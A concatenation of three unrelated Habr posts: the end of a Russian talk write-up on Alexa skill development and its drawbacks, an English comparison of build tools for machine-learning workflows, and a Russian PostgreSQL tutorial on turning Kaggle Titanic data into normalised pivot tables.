Еще существует такой аспект: «Ой-ой-ой, нас постоянно слушают». Это все давным-давно уже реверс-инжинирнули, всем прекрасно понятно, что слушают. Единственное, что слушают постоянно, — это триггер-слова. То есть когда я ее зову. Иногда триггер-слова произносятся случайно, после этого в течение десяти секунд записывается, что мы говорим, и запись отсылается на главный интент, на главный скилл. Если там она не распознается, то выкидывается в мусор. Поэтому вся эта паранойя неоправданна.
А теперь мы с вами поговорим про реальные недостатки. Их можно разбить на несколько категорий.
Есть недостатки voice user interface. Они связаны с тем, что некоторые называют вещи одинаковыми словами. Попробуйте попросить музыку группы Helloween и не получить музыку к празднику Halloween. Думаю, что, учитывая прогресс, контекст должен эту проблему решить, потому что Alexa уже должна знать, что между музыкой к празднику Halloween и группой Helloween я предпочитаю группу. К этому все идет, но пока что это еще не так, особенно – если контекст непонятен.
И еще одна проблема. Связана она с отсутствием поддержки нестандартных названий и имен. Если Alexa не знает какое-то имя или название, то она не сможет его произнести.
Кроме того, у самой Alexa как у консьюмерского девайса, тоже есть недостатки:
* Не понимает множественные команды. Я могу построить интерактивную модель, как мы сделали с Jenkins, когда я не произносил каждый раз ее имя для передачи следующей команды. Но, например, выполнить команду «Alexa, turn on TV and set living room lights to 20%» на данный момент она не может. И если команд много и ты ими пользуешься постоянно, это надоедает.
* Не работает в кластере. Несмотря на то, что у меня дома семь таких девайсов, каждый из них считает себя единственным. И поэтому если я стою в месте, где их три, то все три мне отвечают. Кроме того, я не могу с помощью одной включить музыку у другой, потому что они не знают, что их больше, чем одна. Эта проблема известна, над ней работают и, надеюсь, скоро это будет решено.
* Не знает, где она находится и где нахожусь я. Из-за этого Alexa не может среагировать на команду «Turn on the lights». Я должен сказать «Turn on the lights in the bedroom», и это глупо.
* Само приложение сделано на html5, оно медленное, кривое, но это тоже чинится.
* Понимает только три языка: британский английский, американский английский и немецкий. Соответственно, по-русски ее еще пока не научили.
Самые большие и мерзкие недостатки вылезают при попытке написать Alexa Skill, например тот, который мы сейчас делали. Java API – это кошмар, голосовую модель нужно вручную копировать на страничку, и это указано даже в документации. Кроме того, нет никакого бутстрапа: ни Maven Archetype, ни Lazybones Template.
Нет никакой локальной тестовой инфраструктуры, то есть если я поменял единственную строчку в коде, мне нужно пойти на сайт скилла и поменять ручками в text area json, a потом пойти на Лямбду и загрузить там новый jar (ну, на Lambda, допустим, есть Rest API, потому что она все-таки написала для разработчиков, туда можно сделать continuous deployment, там все нормально). Но на стороне skill kit при любом изменении мне нужно пойти и все это загрузить и потестировать только на сервере. Локально никакой инфраструктуры нет, и это, естественно, тоже очень большой минус.
Заключение
----------
Вот и все. Скиллы, о которых шла речь, можно взять с моего Github – [jb-toolbox-alexa-skill](https://github.com/jbaruch/jb-toolbox-alexa-skill) и [jenkins-alexa-skill](https://github.com/jbaruch/jenkins-alexa-skill/). У меня к вам есть большая просьба: давайте придумывать и писать полезные скиллы, тогда мы сможем вернуться к этой теме на следующих конференциях.
**Чтобы вы не пропустили ни одной детали, под спойлером мы оставили для вас ответы на вопросы из зала**
*Вопрос о безопасности. Есть ли вероятность брутфорса, когда пин-код может быть подобран (например, чтобы открыть дверь)?*
Поскольку пин-код вводится голосом, а Alexa должна реагировать на каждый запрос, на перебор значений может уйти целый месяц (если, конечно, я не появлюсь дома до этого времени).
*Смартфон, ноутбук при включении могут требовать аутентификацию. Как обстоят дела с Alexa?*
У Alexa нет никакого пин-кода на включение, ты можешь его украсть и включать и выключать свет у меня дома. А все опасные штуки по идее должны быть защищены пин-кодом. На данный момент нет никакого voice recognition, хотя над этим работают, и это будет прикручено к аутентификации.
*Что вы можете сказать об Alexa в сравнении с Google Home?*
Google Home намного моложе Alexa, и у него пока что много проблем. Самая главная – это то, что писать скиллы для Google Home намного сложнее. Это требует намного большего уровня вхождения, что не очень хорошо для адаптации этой технологии. Однако у Google Home есть большое преимущество – собственный поисковик. У Alexa его нет, поэтому без кастомного поискового скилла Гугла обойтись невозможно.
*Ты показывал большие и маленькие устройства Alexa. Есть ли смысл ставить много больших устройств?*
Единственная разница между большими и маленькими устройствами — в качестве встроенного динамика. В самом маленьком динамик предназначен только для общения, но не для музыки. То есть везде можно поставить маленькие, а там, где ты хочешь слушать музыку – большой.
---
Надеемся, вам пригодится опыт Баруха. А если вы любите смаковать все детали разработки на Java так же, как и мы, наверняка вам будут интересны вот эти доклады на нашей апрельской конференции [JPoint 2018](https://jpoint.ru/):
* [Анализ программ: как понять, что ты хороший программист](https://jpoint.ru/talks/1qghn5o70siuweuqeesuoa/) (Алексей Кудрявцев, JetBrains)
* [Приключения Сеньора Холмса и Джуниора Ватсона в мире разработки ПО](https://jpoint.ru/talks/3k1gdp5ebuam4qm4skac6y/) (Барух Садогурский, JFrog и Евгений Борисов, Naya Technologies)
* [Extreme scaling with Alibaba JDK](https://jpoint.ru/talks/2sc3v1jbv2y6eeoyiuisoc/) (Sanhong Li, Alibaba) | https://habr.com/ru/post/352372/ | null | ru | null |
# Build tools in machine learning projects, an overview
I was wondering about machine learning/data science project structure/workflow and was reading different opinions on the subject. And when people start to talk about workflow they want their workflows to be reproducible. There are a lot of posts out there that suggest to use [make](https://www.gnu.org/software/make/) for keeping workflow reproducible. Although `make` is very stable and widely-used I personally like cross-platform solutions. It is 2019 after all, not 1977. One can argue that make itself is cross-platform, but in reality you will have troubles and will spend time on fixing your tool rather than on doing the actual work. So I decided to have a look around and to check out what other tools are available. Yes, I decided to spend some time on tools.
This post is more an invitation for a dialogue rather than a tutorial. Perhaps your solution is perfect. If it is then it will be interesting to hear about it.
In this post I will use a small Python project and will do the same automation tasks with different systems:
* [CMake](https://cmake.org/)
* [PyBuilder](https://pybuilder.github.io/)
* [pynt](https://github.com/rags/pynt)
* [Paver](https://github.com/paver/paver)
* [doit](http://pydoit.org/)
* [Luigi](https://github.com/spotify/luigi)
There will be a [comparison table](#Comparison) in the end of the post.
Most of the tools I will look at are known as *build automation software* or *build systems*. There are myriads of them in all different flavours, sizes and complexities. The idea is the same: developer defines rules for producing some results in an automated and consistent way. For example, a result might be an image with a graph. In order to make this image one would need to download the data, clean the data and do some data manipulations (classical example, really). You may start with a couple of shell scripts that will do the job. Once you return to the project a year later, it will be difficult to remember all the steps and their order you need to take to make that image. The obvious solution is to document all the steps. Good news! Build systems let you document the steps in a form of computer program. Some build systems are like your shell scripts, but with additional bells and whistles.
The foundation of this post is a series of posts by [Mateusz Bednarski](https://towardsdatascience.com/structure-and-automated-workflow-for-a-machine-learning-project-2fa30d661c1e) on automated workflow for a machine learning project. Mateusz explains his views and provides recipes for using `make`. I encourage you to go and check his posts first. I will mostly use his code, but with different build systems.
If you would like to know more about `make`, following is a references for a couple of posts. [Brooke Kennedy](https://medium.com/opex-analytics/5-easy-steps-to-make-your-data-science-project-reproducible-6254ab36c365) gives a high-level overview in 5 Easy Steps to Make Your Data Science Project Reproducible. [Zachary Jones](http://zmjones.com/make/) gives more details about the syntax and capabilities along with the links to other posts. [David Stevens](https://medium.com/@davidstevens_16424/make-my-day-ta-science-easier-e16bc50e719c) writes a very hype post on why you absolutely have to start using `make` right away. He provides nice examples comparing *the old way* and *the new way*. [Samuel Lampa](https://bionics.it/posts/the-problem-with-make-for-scientific-workflows), on the other hand, writes about why using `make` is a bad idea.
My selection of build systems is not comprehensive nor unbiased. If you want to make your list, [Wikipedia](https://en.wikipedia.org/wiki/List_of_build_automation_software) might be a good starting point. As stated above above, I will cover [CMake](#CMake), [PyBuilder](#PyBuilder), [pynt](#pynt), [Paver](#Paver), [doit](#doit) and [Luigi](#Luigi). Most of the tools in this list are python-based and it makes sense since the project is in Python. This post will not cover how to install the tools. I assume that you are fairly proficient in Python.
I am mostly interested in testing this functionality:
1. Specifying couple of targets with dependencies. I want to see how to do it and how easy it is.
2. Checking out if incremental builds are possible. This means that build system won’t rebuild what have not been changed since the last run, i.e. you do not need to redownload your raw data. Another thing that I will look for is incremental builds when dependency changes. Imagine we have a graph of dependencies `A -> B -> C`. Will target `C` be rebuilt if `B` changes? If `A`?
3. Checking if rebuild will be triggered if source code is changed, i.e. we change the parameter of generated graph, next time we build the image must be rebuilt.
4. Checking out the ways to clean build artifacts, i.e. remove files that have been created during build and roll back to the clean source code.
I will not use all build targets from Mateusz's post, just three of them to illustrate the principles.
All the code is available on [GitHub](https://github.com/fralik/overcome-the-chaos).
CMake
-----
CMake is a build script generator, which generates input files for various build systems. And it’s name stands for cross-platform make. CMake is a software engineering tool. It’s primary concern is about building executables and libraries. So CMake knows how to build *targets* from source code in supported languages. CMake is executed in two steps: configuration and generation. During configuration it is possible to configure the future build according to one needs. For example, user-provided variables are given during this step. Generation is normally straightforward and produces file(s) that build systems can work with. With CMake, you can still use `make`, but instead of writing makefile directly you write a CMake file, which will generate the makefile for you.
Another important concept is that CMake encourages *out-of-source builds*. Out-of-source builds keep source code away from any artifacts it produces. This makes a lot of sense for executables where single source codebase may be compiled under different CPU architectures and operating systems. This approach, however, may contradict the way a lot of data scientists work. It seems to me that data science community tends to have high coupling of data, code and results.
Let’s see what we need to achieve our goals with CMake. There are two possibilities to define custom things in CMake: custom targets and custom commands. Unfortunately we will need to use both, which results in more typing compared to vanila makefile. A custom target is considered to be always out of date, i.e. if there is a target for downloading raw data CMake will always redownload it. A combination of custom command with custom target allows to keep targets up to date.
For our project we will create a file named [CMakeLists.txt](https://github.com/fralik/overcome-the-chaos/blob/master/CMakeLists.txt) and put it in the project’s root. Let’s check out the content:
```
cmake_minimum_required(VERSION 3.14.0 FATAL_ERROR)
project(Cmake_in_ml VERSION 0.1.0 LANGUAGES NONE)
```
This part is basic. The second line defines the name of your project, version, and specifies that we won’t use any build-in language support (sine we will call Python scripts).
Our first target will download the IRIS dataset:
```
SET(IRIS_URL "https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data" CACHE STRING "URL to the IRIS data")
set(IRIS_DIR ${CMAKE_CURRENT_SOURCE_DIR}/data/raw)
set(IRIS_FILE ${IRIS_DIR}/iris.csv)
ADD_CUSTOM_COMMAND(OUTPUT ${IRIS_FILE}
COMMAND ${CMAKE_COMMAND} -E echo "Downloading IRIS."
COMMAND python src/data/download.py ${IRIS_URL} ${IRIS_FILE}
COMMAND ${CMAKE_COMMAND} -E echo "Done. Checkout ${IRIS_FILE}."
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
)
ADD_CUSTOM_TARGET(rawdata ALL DEPENDS ${IRIS_FILE})
```
First line defines parameter `IRIS_URL`, which is exposed to user during configuration step. If you use CMake GUI you can set this variable through the GUI:
Next, we define variables with downloaded location of IRIS dataset. Then we add a custom command, which will produce `IRIS_FILE` as it’s output. In the end, we define a custom target `rawdata` that depends on `IRIS_FILE` meaning that in order to build `rawdata` `IRIS_FILE` must be built. Option `ALL` of custom target says that `rawdata` will be one of the default targets to build. Note that I use `CMAKE_CURRENT_SOURCE_DIR` in order to keep the downloaded data in the source folder and not in the build folder. This is just to make it the same as Mateusz.
Alright, let’s see how we can use it. I am currently running it on WIndows with installed MinGW compiler. You may need to adjust the generator setting for your needs (run `cmake --help` to see the list of available generators). Fire up the terminal and go to the parent folder of the source code, then:
```
mkdir overcome-the-chaos-build
cd overcome-the-chaos-build
cmake -G "MinGW Makefiles" ../overcome-the-chaos
```
**outcome** — Configuring done
— Generating done
— Build files have been written to: C:/home/workspace/overcome-the-chaos-build
With modern CMake we can build the project directly from CMake. This command will invoke `build all` command:
```
cmake --build .
```
**outcome**Scanning dependencies of target rawdata
[100%] Built target rawdata
We can also view the list of available targets:
```
cmake --build . --target help
```
And we can remove downloaded file by:
```
cmake --build . --target clean
```
See that we didn’t need to create the clean target manually.
Now let’s move to the next target — preprocessed IRIS data. Mateusz creates two files from a single function: `processed.pickle` and `processed.xlsx`. You can see how he goes away with cleaning this Excel file by using `rm` with wildcard. I think this is not a very good approach. In CMake, we have two options of how to deal with it. First option is to use [ADDITIONAL\_MAKE\_CLEAN\_FILES](https://cmake.org/cmake/help/latest/prop_dir/ADDITIONAL_MAKE_CLEAN_FILES.html) directory property. The code will be:
```
SET(PROCESSED_FILE ${CMAKE_CURRENT_SOURCE_DIR}/data/processed/processed.pickle)
ADD_CUSTOM_COMMAND(OUTPUT ${PROCESSED_FILE}
COMMAND python src/data/preprocess.py ${IRIS_FILE} ${PROCESSED_FILE} --excel data/processed/processed.xlsx
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
DEPENDS rawdata ${IRIS_FILE}
)
ADD_CUSTOM_TARGET(preprocess DEPENDS ${PROCESSED_FILE})
# Additional files to clean
set_property(DIRECTORY PROPERTY ADDITIONAL_MAKE_CLEAN_FILES
${CMAKE_CURRENT_SOURCE_DIR}/data/processed/processed.xlsx
)
```
The second option is to specify a list of files as a custom command output:
```
LIST(APPEND PROCESSED_FILE "${CMAKE_CURRENT_SOURCE_DIR}/data/processed/processed.pickle"
"${CMAKE_CURRENT_SOURCE_DIR}/data/processed/processed.xlsx"
)
ADD_CUSTOM_COMMAND(OUTPUT ${PROCESSED_FILE}
COMMAND python src/data/preprocess.py ${IRIS_FILE} data/processed/processed.pickle --excel data/processed/processed.xlsx
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
DEPENDS rawdata ${IRIS_FILE} src/data/preprocess.py
)
ADD_CUSTOM_TARGET(preprocess DEPENDS ${PROCESSED_FILE})
```
See that in this case I created the list, but didn’t use it inside custom command. I do not know of a way to reference output arguments of custom command inside it.
Another interesting thing to note is the usage of `depends` in this custom command. We set dependency not only from a custom target, but it’s output as well and the python script. If we do not add dependency to `IRIS_FILE`, then modifying `iris.csv` manually will not result in rebuilding of `preprocess` target. Well, you should not modify files in your build directory manually in the first place. Just letting you know. More details in [Sam Thursfield's post](https://samthursfield.wordpress.com/2015/11/21/cmake-dependencies-between-targets-and-files-and-custom-commands/). The dependency to python script is needed to rebuild the target if python script changes.
And finally the third target:
```
SET(EXPLORATORY_IMG ${CMAKE_CURRENT_SOURCE_DIR}/reports/figures/exploratory.png)
ADD_CUSTOM_COMMAND(OUTPUT ${EXPLORATORY_IMG}
COMMAND python src/visualization/exploratory.py ${PROCESSED_FILE} ${EXPLORATORY_IMG}
WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
DEPENDS ${PROCESSED_FILE} src/visualization/exploratory.py
)
ADD_CUSTOM_TARGET(exploratory DEPENDS ${EXPLORATORY_IMG})
```
This target is basically the same as the second one.
To wrap up. CMake looks messy and more difficult than Make. Indeed, a lot of people criticize CMake for it’s syntax. In my experience, the understanding will come and it is absolutely possible to make sense of even very complicated CMake files.
You will still do a lot of gluing yourself as you will need to pass correct variables around. I do not see an easy way of referencing output of one custom command in another one. It seems like it is possible to do it via custom targets.
PyBuilder
---------
PyBuilder part is very short. I used Python 3.7 in my project and PyBuilder current version 0.11.17 does not support it. The proposed solution is to use development version. However that version is bounded to pip v9. Pip is v19.3 as of time of writing. Bummer. After fiddling around with it a bit, it didn't work for me at all. PyBuilder evaluation was a short-lived one.
pynt
----
Pynt is python-based, which means we can use python functions directly. It is not necessary to wrap them with [click](https://click.palletsprojects.com/en/7.x/) and to provide command line interface. However, pynt is also capable of executing shell commands. I will use python functions.
Build commands are given in a file `build.py`. Targets/tasks are created with function decorators. Task dependencies are provided through the same decorator.
Since I would like to use python functions I need to import them in the build script. Pynt does not include the current directory as python script, so writing smth like this:
```
from src.data.download import pydownload_file
```
will not work. We have to do:
```
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), '.'))
from src.data.download import pydownload_file
```
My initial `build.py` file was like this:
```
#!/usr/bin/python
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), '.'))
from pynt import task
from path import Path
import glob
from src.data.download import pydownload_file
from src.data.preprocess import pypreprocess
iris_file = 'data/raw/iris.csv'
processed_file = 'data/processed/processed.pickle'
@task()
def rawdata():
'''Download IRIS dataset'''
pydownload_file('https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data', iris_file)
@task()
def clean():
'''Clean all build artifacts'''
patterns = ['data/raw/*.csv', 'data/processed/*.pickle',
'data/processed/*.xlsx', 'reports/figures/*.png']
for pat in patterns:
for fl in glob.glob(pat):
Path(fl).remove()
@task(rawdata)
def preprocess():
'''Preprocess IRIS dataset'''
pypreprocess(iris_file, processed_file, 'data/processed/processed.xlsx')
```
And the `preprocess` target didn't work. It was constantly complaining about input arguments of `pypreprocess` function. It seems like Pynt does not handle optional function arguments very well. I had to remove the argument for making the excel file. Keep this in mind if your project has functions with optional arguments.
We can run pynt from the project's folder and list all the available targets:
```
pynt -l
```
**outcome**
```
Tasks in build file build.py:
clean Clean all build artifacts
exploratory Make an image with pairwise distribution
preprocess Preprocess IRIS dataset
rawdata Download IRIS dataset
Powered by pynt 0.8.2 - A Lightweight Python Build Tool.
```
Let's make the pairwise distribution:
```
pynt exploratory
```
**outcome**
```
[ build.py - Starting task "rawdata" ]
Downloading from https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data to data/raw/iris.csv
[ build.py - Completed task "rawdata" ]
[ build.py - Starting task "preprocess" ]
Preprocessing data
[ build.py - Completed task "preprocess" ]
[ build.py - Starting task "exploratory" ]
Plotting pairwise distribution...
[ build.py - Completed task "exploratory" ]
```
If we now run the same command again (i.e. `pynt exploratory`) there will be a full rebuild. Pynt didn't track that nothing has changed.
Paver
-----
Paver looks almost exactly as Pynt. It slightly different in a way one defines dependencies between targets (another decorator `@needs`). Paver makes a full rebuild each time and doesn't play nicely with functions that have optional arguments. Build instructions are found in [pavement.py](https://github.com/fralik/overcome-the-chaos/blob/master/pavement.py) file.
doit
----
Doit seems like an attempt to create a truly build automation tool in python. It can execute python code and shell commands. It looks quite promising. What it seems to miss (in the context of our specific goals) is the ability to handle dependencies between targets. Let's say we want to make a small pipeline where the output of target A is used as input of target B. And let's say we are using files as outputs, so target A create a file named `outA`.
In order to make such pipeline we will need to specify file `outA` twice in target A (as a result of a target, but also return it's name as part of target execution). Then we will need to specify it as input to target B. So there are 3 places in total where we need to provide information about file `outA`. And even after we do so, modification of file `outA` won't lead to automatic rebuild of target B. This means that if we ask doit to build target B, doit will only check if target B is up-to-date without checking any of the dependencies. To overcome this, we will need to specify `outA` 4 times — also as file dependency of target B. I see this as a drawback. Both Make and CMake are able to handle such situations correctly.
Dependencies in doit are file-based and expressed as strings. This means that dependencies `./myfile.txt` and `myfile.txt` are viewed as being different. As I wrote above, I find the way of passing information from target to target (when using python targets) a bit strange. Target has a list of artifacts it is going to produce, but another target can't use it. Instead the python function, which constitutes the target, must return a dictionary, which can be accessed in another target. Let's see it on an example:
```
def task_preprocess():
"""Preprocess IRIS dataset"""
pickle_file = 'data/processed/processed.pickle'
excel_file = 'data/processed/processed.xlsx'
return {
'file_dep': ['src/data/preprocess.py'],
'targets': [pickle_file, excel_file],
'actions': [doit_pypreprocess],
'getargs': {'input_file': ('rawdata', 'filename')},
'clean': True,
}
```
Here the target `preprocess` depends on `rawdata`. The dependency is provided via `getargs` property. It says that the argument `input_file` of function `doit_pypreprocess` is the output `filename` of the target `rawdata`. Have a look at the complete example in file [dodo.py](https://github.com/fralik/overcome-the-chaos/blob/master/dodo.py).
It may be worth reading [the success stories](http://pydoit.org/stories.html) of using doit. It definitely has nice features like the ability to provide a custom up-to-date target check.
Luigi
-----
Luigi stays apart from other tools as it is a system to build complex pipelines. It appeared on my radar after a colleague told me that he tried Make, was never able to use it across Windows/Linux and moved away to Luigi.
Luigi aims at production-ready systems. It comes with a server, which can be used to visualize your tasks or to get a history of task executions. The server is called a *central schedler*. A local scheduler is available for debugging purposes.
Luigi is also different from other systems in a way how tasks are created. Lugi doesn't act on some predefined file (like `dodo.py`, `pavement.py` or makefile). Rather, one has to pass a python module name. So, if we try to use it in the similar way to other tools (place a file with tasks in project's root), it won't work. We have to either install our project or modify environmental variable `PYTHONPATH` by adding the path to the project.
What is great about luigi is the way of specifying dependencies between tasks. Each task is a class. Method `output` tells Luigi where the results of the task will end up. Results can be a single element or a list. Method `requires` specifies task dependencies (other tasks; although it is possible to make a dependency from itself). And that's it. Whatever is specified as `output` in task A will be passed as an input to task B if task B relies on task A.
Luigi doesn't care about file modifications. It cares about file existance. So it is not possible to trigger rebuilds when the source code changes. Luigi doesn't have a built-in *clean* functionality.
Luigi tasks for this project are available in file [luigitasks.py](https://github.com/fralik/overcome-the-chaos/blob/master/luigitasks.py). I run them from the terminal:
```
luigi --local-scheduler --module luigitasks Exploratory
```
Comparison
----------
The table below summarizes how different systems work in respect to our specific goals.
| | Define target with dependency | Incremental builds | Incremental builds if source code is changed | Ability to figure out which artifacts to remove during `clean` command |
| --- | --- | --- | --- | --- |
| **CMake** | yes | yes | yes | yes |
| **Pynt** | yes | no | no | no |
| **Paver** | yes | no | no | no |
| **doit** | Somewhat yes | yes | yes | yes |
| **Luigi** | yes | no | no | no | | https://habr.com/ru/post/451962/ | null | en | null |
# Data Mining: Первичная обработка данных при помощи СУБД. Часть 3 (Сводные таблицы)
Данная серия посвящена анализу данных для поиска закономерностей. В качестве примера используется одна из обучающих задач сообщества спортивного анализа данных Kaggle. Хотя размеры данных для задачи не большие, методы обработки, которые будут рассматриваться вполне применимы для больших объемов данных.
После выполнения [Часть 1](http://habrahabr.ru/post/165001/) и [Части 2](http://habrahabr.ru/post/165281/) сформировались две таблицы, содержащие преобразованные данные.
titanik\_test\_3 и titanik\_train\_3.
Структура полей у них различается на одно поле — survived, значение которого нам предстоит определить для тестового набора данных. Вот код описывающий структуру таблицы titanik\_train\_3
```
CREATE TABLE titanik_train_3
(
id bigint,
survived integer,
pclass integer,
name character varying(255),
sex character varying(255),
age double precision,
sibsp integer,
parch integer,
ticket character varying(255),
fare double precision,
cabin character varying(255),
embarked character varying(255),
cabin_cnt integer,
cabin_type text,
ticket_type text,
ticket_number text,
cabin_people_cnt integer
)
```
Фактически, стоит задача превратить таблицу с символьно-числовыми данными — в таблицу с только числовым представлением. Поможет нам в этом создание словарей данных и сводные таблицы. Для этого, числовые данные перенесем в том же виде в котором они и были, а символьные — закодируем.
Важнейшим условием использования словарей, является полное покрытие значений. Потому, оптимально на этом этапе(хотя в принципе можно и ранее) слить таблицы в одну. А в недостающее поле поставить NULL.
Учитывая что для создания первичного ключа использоваласть одна и таже последовательность, проблем быть не должно. Это делается при помощи оператора UNION.
```
select a.* into titanik_full_1 from (
select * from titanik_train_3
union
select
id,
NULL::integer as survived,
pclass, "name", sex , age , sibsp , parch, ticket,fare,cabin,embarked,cabin_cnt,cabin_type,ticket_type,ticket_number,
cabin_people_cnt
from titanik_test_3
) as a;
```
Теперь получаем одну таблицу которая содержит и тестовый и тренировочный набор данных.
Уберем все поля, кроме числовых:
```
select a.* into titanik_full_2 from (
select id, survived, pclass::float, age::float, sibsp::float, parch::float, fare::float, cabin_cnt::float, CAST(ticket_number as float) as ticket_number, cabin_people_cnt::float
from titanik_full_1 where ticket_number != ''
union
select id, survived, pclass, age, sibsp, parch, fare, cabin_cnt, 0 as ticket_number, cabin_people_cnt
from titanik_full_1 where ticket_number = '' ) as a;
```
Получаем таблицу titanik\_full\_2, которая выглядит таким образом:
```
CREATE TABLE titanik_full_2
(
id bigint,
survived integer,
pclass integer,
age double precision,
sibsp integer,
parch integer,
fare double precision,
cabin_cnt integer,
ticket_number integer,
cabin_people_cnt bigint
)
```
Теперь в эту таблицу мы будем добавлять по полю, которое будет означать, есть то, либо иное значение у свойства для этой строки. Такие таблицы называются сводными(pivot tables), только немного не такими как обычно, поля-values будут принимать либо 0 либо 1. Схематически это тоборажено на рисунке:
Т.е. таблица теперь стала больше, количество полей будет равно количеству уникальных значений. В принципе, все эти значения можно сделать вручную по запросам. Но лучше написать небольшую функцию на PL/PGSQL, котораяавтоматически будет разворачивать поля.
```
CREATE OR REPLACE FUNCTION sparse_matrix_generator(
tablename_source character varying,
tablename_dest character varying,
field_name character varying)
RETURNS integer AS
$$
DECLARE
pgst_object REFCURSOR;
unival character varying;
BEGIN
OPEN pgst_object FOR EXECUTE 'select distinct '||field_name ||' from '||tablename_source ||' where ' || field_name ||' NOTNULL';
LOOP
FETCH pgst_object INTO unival;
EXIT WHEN NOT FOUND;
EXECUTE 'ALTER TABLE '|| tablename_dest ||' ADD COLUMN "'|| field_name||unival ||'" smallint NOT NULL DEFAULT 0';
EXECUTE 'UPDATE '||tablename_dest||' SET "'||field_name||unival|| '"= 1 FROM ' ||tablename_source||
' WHERE '||tablename_dest||'.id = '||tablename_source||'.id and '||field_name||' = '''||unival||'''';
END LOOP;
RETURN 0;
END;
$$
LANGUAGE 'plpgsql';
```
Применяется эта функция так:
```
select sparse_matrix_generator('titanik_full_1', 'titanik_full_2', 'cabin_type');
select sparse_matrix_generator('titanik_full_1', 'titanik_full_2', 'ticket_type');
select sparse_matrix_generator('titanik_full_1', 'titanik_full_2', 'embarked');
select sparse_matrix_generator('titanik_full_1', 'titanik_full_2', 'sex');
```
Таким образом у нас теперь есть разреженная матрица размерностью в 58 столбцов. Необходимо пронормировать ее и отделить тестовую и тренировочную выборки по полю survived.
Есть разные способы нормирования. Для разных методов анализа данных есть разные требования к выборке. Воспользуемся одним из наиболее простых, минимаксным нормированием. Суть вкратце такова: минимум будет 0, максимум: 1, а все остальное расоложено пропорционально между ними. Для этого напишем функцию:
```
CREATE OR REPLACE FUNCTION minmax_normalizer(tablename_source character varying, field_name character varying)
RETURNS integer AS
$BODY$
DECLARE
pgst_object REFCURSOR;
maxval float;
minval float;
C RECORD;
BEGIN
EXECUTE 'select min("'||field_name ||'") as minval, max("'||field_name ||'") as maxval from '|| tablename_source INTO C;
maxval := C.maxval;
minval := C.minval;
EXECUTE 'UPDATE '||tablename_source||' SET "'||field_name||'"=("'||field_name||'"-$1)/($2-$1)' USING minval, maxval;
RETURN 0;
END;
$BODY$
LANGUAGE plpgsql VOLATILE
COST 100;
```
И применим ее к полям таблицы, которые нужно нормализовать:
```
select minmax_normalizer('titanik_full_2', 'pclass');
select minmax_normalizer('titanik_full_2', 'age');
select minmax_normalizer('titanik_full_2', 'sibsp');
select minmax_normalizer('titanik_full_2', 'parch');
select minmax_normalizer('titanik_full_2', 'fare');
select minmax_normalizer('titanik_full_2', 'cabin_cnt');
select minmax_normalizer('titanik_full_2', 'ticket_number');
select minmax_normalizer('titanik_full_2', 'cabin_people_cnt');
```
В результате получим таблицу с только числовыми значениями в диапазоне от нуля до единицы.
Выберем тестовую и тренировочную выборку:
```
select * into titanik_test_final from
titanik_full_2 where survived isnull;
alter table titanik_test_final drop column survived;
```
для тестовой выборки и соответственно:
```
select * into titanik_train_final from
titanik_full_2 where survived notnull;
```
для тренировочной.
В данной таблице есть пустые значения. Их можно заменить, например средним значением. Для этого также воспользуемся функцией:
```
CREATE OR REPLACE FUNCTION null_normalizer(tablename_source character varying)
RETURNS integer AS
$BODY$
DECLARE
pgst_object REFCURSOR;
fieldval character varying;
count_null integer;
field_avg float;
BEGIN
OPEN pgst_object FOR EXECUTE 'select column_name from information_schema.columns where'||
' table_name='''||tablename_source||'''';
LOOP
FETCH pgst_object INTO fieldval;
EXIT WHEN NOT FOUND;
count_null := 0;
EXECUTE 'select count(id) from '||tablename_source||' where "'||fieldval||'" isnull' into count_null;
IF count_null > 0 THEN
raise notice 'field: %', fieldval;
EXECUTE 'select avg('||fieldval||') from '||tablename_source INTO field_avg;
EXECUTE 'UPDATE '||tablename_source||' set '||fieldval||'= $1 where '||fieldval||' isnull' using field_avg;
END IF;
END LOOP;
RETURN 0;
END;
$BODY$
LANGUAGE plpgsql VOLATILE
COST 100;
```
Функция работает таким образом: Выбираем все имена полей для таблицы, считаем количество ненулевых элементов в поле, и если количество больше нуля — запускаем поиск среднего значение и обновление пустых значений на среднее.
Вызывается функция таким образом:
```
select null_normalizer('titanik_test_final');
select null_normalizer('titanik_train_final');
```
Результирующая таблица получилась достаточно большая и разреженная:
```
CREATE TABLE titanik_test_final
(
id bigint,
pclass double precision,
age double precision,
sibsp double precision,
parch double precision,
fare double precision,
cabin_cnt double precision,
ticket_number double precision,
cabin_people_cnt double precision,
"cabin_typeF" smallint,
"cabin_typeB" smallint,
"cabin_typeG" smallint,
"cabin_typeC" smallint,
"cabin_typeT" smallint,
"cabin_typeD" smallint,
"cabin_typeE" smallint,
"cabin_typeA" smallint,
"ticket_typeSW/PP" smallint,
"ticket_typeC" smallint,
"ticket_typePC" smallint,
"ticket_typeAQ/3." smallint,
"ticket_typeSC/A.3" smallint,
"ticket_typeS.O.C." smallint,
"ticket_typeS.O./P.P." smallint,
"ticket_typeSC/AH" smallint,
"ticket_typeSOTON/O2" smallint,
"ticket_typeC.A." smallint,
"ticket_typeW/C" smallint,
"ticket_typeS.C./A.4." smallint,
"ticket_typeFa" smallint,
"ticket_typeLP" smallint,
"ticket_typeSCO/W" smallint,
"ticket_typeF.C." smallint,
"ticket_typeA.5." smallint,
"ticket_typeSC/AH Basle" smallint,
"ticket_typeSC/A4" smallint,
"ticket_typeS.C./PARIS" smallint,
"ticket_typeS.O.P." smallint,
"ticket_typeLINE" smallint,
"ticket_typeSO/C" smallint,
"ticket_typeP/PP" smallint,
"ticket_typeAQ/4" smallint,
"ticket_typeSC" smallint,
"ticket_typeW.E.P." smallint,
"ticket_typeSOTON/O.Q." smallint,
"ticket_typeA/4" smallint,
"ticket_typeSC/PARIS" smallint,
"ticket_typeA. 2." smallint,
"ticket_typeF.C.C." smallint,
"ticket_typeS.P." smallint,
"ticket_typePP" smallint,
"ticket_typeC.A./SOTON" smallint,
"embarkedC" smallint,
"embarkedQ" smallint,
"embarkedS" smallint,
sexfemale smallint,
sexmale smallint
)
```
Для выведение в текстовые файлы используем скрипт:
```
COPY titanik_train_final to '/tmp/titanik_train_final.csv';
